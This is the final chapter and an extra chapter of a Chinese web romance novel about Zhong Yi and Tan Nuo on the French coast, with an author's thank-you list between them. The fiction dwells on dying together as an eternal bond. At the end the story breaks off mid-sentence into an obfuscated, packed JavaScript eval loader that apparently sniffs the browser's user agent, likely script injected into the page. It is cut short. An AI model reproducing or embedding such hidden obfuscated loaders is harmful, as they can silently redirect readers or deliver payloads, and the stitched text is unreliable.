“看起来他跟你求婚了,你要答应他么?”钟屹垂眸,将一颗石子握在手里,“听他胜券在握的语气,你要答应么?” 钟屹就这样攥着那枚石子,借着暗淡的月光很仔细地看,有点像谭诺那天砸向他的那颗,但是他知道,不会一样的。 “答应也好,”他开玩笑地说,“等你无聊了想找刺激了,就继续跟我见面。” 他可以在国内买套房子。 只是说完,他很快又收起了笑容。 “还是算了,”钟屹将石子放下,声音喑哑地说,“不然跟他分手,和我在一起吧。” 他想起孙庭誉说的许多话,他是阴沟里见不得人的垃圾,谭诺只是可怜他,他这样的人根本不懂爱人。 “但是我觉得,”许久,钟屹轻声说了三个字。 他没有对任何人说过这句话。 谭诺听到大约不会相信,会怀疑他的用心,但是他觉得是真的。 他感觉到心脏因为这三个字开始鼓噪,原来说出来没有那么难,比忍耐简单。 浪潮偶尔打到钟屹的脚边,钟屹感觉到自己的鞋子有些潮湿。 他将电话的听筒面朝着海的方向,浪潮的声音传递了进去。 “我不认得路,所以找不到你。”他说,“你知道我在哪里么?” 他想起了那天给谭诺在这里拍照时谭诺说过的话,忽地笑了。 是发自内心的笑容。 “你说等你死了以后,想要把骨灰撒在这里,”他点了点头,沉沉地开口,“可以。” 等到他们都老了以后,他可以等她先走,到那个时候,他会达成谭诺的心愿,再去陪她。 孙庭誉说,谭诺很怕一个人,到了海里,他也可以长久地陪伴她。 这是钟屹能想到的最美好最为永恒的事。 “我在这里等你。”好像没有什么要说的了。 钟屹挂掉了电话。 他躺在了石滩上,听着海风在耳边吹拂,身下的石子有些硌人,他不知道谭诺那一天躺在这上面是什么心情。 他就这样睁着眼睛,看到海鸥从他的上空飞过,钟屹感到前所未有的平静。 时间一分一秒地过去,潮涨潮落,钟屹感觉到眼皮有些酸,疲惫压得他睁不开眼睛。 不知过了多久,天际开始泛起了淡淡的橙色,就像是希望。 钟屹有点困了。 他听到身后有行人步履匆匆地来看日出。 钟屹有那么一刻觉得,他可能永远也等不到谭诺。 但是那一天,他也是睁开眼睛就看到谭诺躺在这里。还有在安纳西,他转身就看到谭诺站在爱情桥下,她在等他。 兴许这一次也一样,谭诺可能下一秒就会出现。 他缓慢地闭上了眼睛,就好像看到谭诺已经出现在他的眼前。 - 谭诺躺在床上,彻夜没有睡,即使盖着被子,她依旧感觉得到冷,明明还是夏天。 她没有拉上窗帘,就这样透过窗帘看着远处的海。 大海可以帮她理清思绪吗?可能这一次来法国,她真的来错了。 如果没有来,她和孙庭誉之间就不会发生这样的变故。她的生活也不会有任何令她辗转反侧的意外。 她将视线就这样落在了那枚戒指上。 谭诺拿了起来,小心地将上面的血擦掉。 过了一会儿,谭诺终于从床上起来。 她走出房子,第一次认真地注视着戛纳的海,这里不同于尼斯。 她就这样走到海边的树下,这里已经人来人往。 天亮了。 她安静靠在树干上,一片树叶忽地落到了她的肩头,谭诺因为肩上的触感惊诧地转过头。 她以为有人在等她。 谭诺怔愣着将那片还泛着绿意,被海边的风裹挟着下落的叶子放在了手心里。 她盯着这片叶子看了许久、许久。 看起来,谭诺二十三岁的夏天结束了。 (全文完) 作者有话要说: 谢谢大家,从前完结以后好像有很多的话要和大家说,这一次惊奇地没有,大概是想说的话都在文中了。很感谢陪伴谭诺度过23岁夏天的每一个人,我也会许愿谭诺未来还有很美好的春夏秋冬。感谢在2023-10-2720:00:00~2023-10-2918:01:07期间为我投出霸王票或灌溉营养液的小天使哦~感谢灌溉营养液的小天使:江问水35瓶;南方糯米团子、阿兹卡班在逃囚徒、乔治、49374216、嘿嘿嘿、咕嘟小思20瓶;ken7、1/1000哈姆雷特13瓶;我这鸡腿忒咸、阿怀啊。、六月、亚qvq、不加糖比较甜10瓶;小切8瓶;于媛许7瓶;程医生全球粉丝后援会6瓶;青镜、Blank.、最喜欢睡觉、凉沐未昕、思慕虞卿、uniiiy、替您吃火锅、浅沐、涉江、词不达意、上班就是一场戏5瓶;陆离4瓶;云与树、水绿天蓝蓝、我爱看小说、贺鱼鱼鱼鱼鱼、竟如此不守男德3瓶;小踹、陈星、阿棋、aka、今天也很想喝草莓牛奶2瓶;禁止想象8、kkkeyyy、胖颠颠、林消消、小葱拌豆腐、zinc、amberzzz、桃乐丝、库洛米、迟迟、木拉可可米、先知、柿子熟了、泼墨三分白、jimin柚子xi、剁剁剁剁、fufuhui、yolo、冰摇红莓黑加仑、木槿落花、mzttong、WINIKO、小沐沐最可爱、无忧XT、Wrrtse、stranger、胡萝卜、66306963、好久不见、陶阿洋1瓶;非常感谢大家对我的支持,我会继续努力的! 27. 番外 即使是夏天,海边的风也比想象中的大。 身体变得有点沉重,大约是海水裹挟着沙砾,冲到了他的身上。 钟屹一直闭着眼睛,好像有光线落在他的眼皮上,没那么冷了。 有一双手忽然推搡着钟屹的肩膀。 “学人精。” 是略带嫌弃但是又很亲昵的声音。 从前,钟屹总是听到谭诺用这样黏腻的声音跟孙庭誉说话。 “孙庭誉,我饿了。” “孙庭誉,能不能就我和你两个人吃饭啊,有讨厌的人在的话,我就没胃口了。” 那个“讨厌的人”除了他没有别人了。 “老公,他什么时候走呀?” 老公叫的是孙庭誉,而“他”是那个她希望赶紧滚的自己。 说这句话的时候,谭诺会用一种相当做作的声线,刻意地小声,但是又一定是他能听到的程度。 她大约也不习惯在人前这样叫孙庭誉,所以叫出口的语速非常快。 不知道为什么,听到她故意说些针对他的话时,钟屹很反常地觉得心情很好,这种好心情可以消解她叫别人老公。 他知道这样很病态。 反正,她永远不会这样叫他。那么,叫谁也没关系了。 海风一阵一阵,浪潮声占据了钟屹的全部听觉,有一瞬间他以为这是幻听。 他倏地睁开眼睛,眼前从一片黑暗到模糊中有谭诺的轮廓,直至他看清,她穿着那天他们在安纳西买的情侣外套,笑盈盈地低头看他。 “你在这里躺着,在等人来给你做人工呼吸吗?”她见他没说话,问道。 钟屹眨了一下眼睛,又一下,她还在。 看起来不是假的,只是还是穿着那件外套。 他知道她为什么说他学人精了,前段时间他因为孙庭誉的一通电话出来找她,后来她和两个外国小女孩玩游戏。 “那时候,我真以为你出事了。”钟屹眼睛定定地落在她的脸上。 他没有起来,依然躺在海岸边上,谭诺也没有叫他,只是坐在他身边。 “哦,你也太担心我了一点。”谭诺说这话的时候,用一种相当傲娇的语气。 钟屹很多次听到她和孙庭誉这样说话,现在,他也有了。 好像不那么嫉妒孙庭誉了。 反正,他也有了。 他坦诚地说:“不是那样。” “什么?”谭诺一脸看透他的样子,“别说什么怕我出事,没办法跟他交差的鬼话。” “嗯,我不会说这些。”钟屹注视着她,太阳从海边升起,光就这样直直地进入他的眼睛,有点刺痛,但是钟屹有点喜欢痛的感觉。 虽然,痛得有点不真实,橙黄的朝阳带着迷惑人的温度。 他的眼睛没有从谭诺的脸上离开,“你听了大概会害怕。” “我胆子很大。” 钟屹说:“有一瞬间,我会想那样也很好。“ 谭诺如他所料地露出了一点惊恐的表情,“你干嘛咒我?我年纪轻轻的!” “我会陪你,不好么?” 直到生命的尽头,那样才是永恒,谭诺不是最喜欢这种东西? “神经,哪里好了。”她说着话就要起来,被钟屹又拉着坐下。 “开玩笑的。”他笑着说。 钟屹身体动了动,将头枕在谭诺的大腿上。 “你身上都是沙子,我的裤子要脏了!” 钟屹不在意地说:“赔你新的。” “为什么不起来?” “有点想知道是什么感觉,”他声音有些轻,“看到他这样靠在你腿上,我有点想知道,是什么感觉。” 谭诺不是第一次听钟屹说这样的话了,她迟疑了几秒:“什么感觉?” 钟屹又往她腿根靠了靠:“怕你会累的感觉。” 担心压到她,所以也不是很舒服。 许久,没有人说话,谭诺忽地问:“所以,他有的东西,你都要有吗?” 钟屹思考了一下,摇头。 “可以都没有。” “骗人。”谭诺不信。 “只要,你爱我。” 谭诺不说话了。 钟屹却没停下,日光越发亮了。 “你爱我么?” 谭诺沉默着不回答。 “我爱你。” 这是他第二次说这句话了,已经有些熟练了。 “我听到了。”谭诺说。 钟屹点了点头:“那通电话,你听到了。” “嗯,不然我也找不到这里。”谭诺说完有些抱怨地说,“你这个人太奇怪了,大晚上不在戛纳等我,跑来尼斯,万一我没听到语音留言呢?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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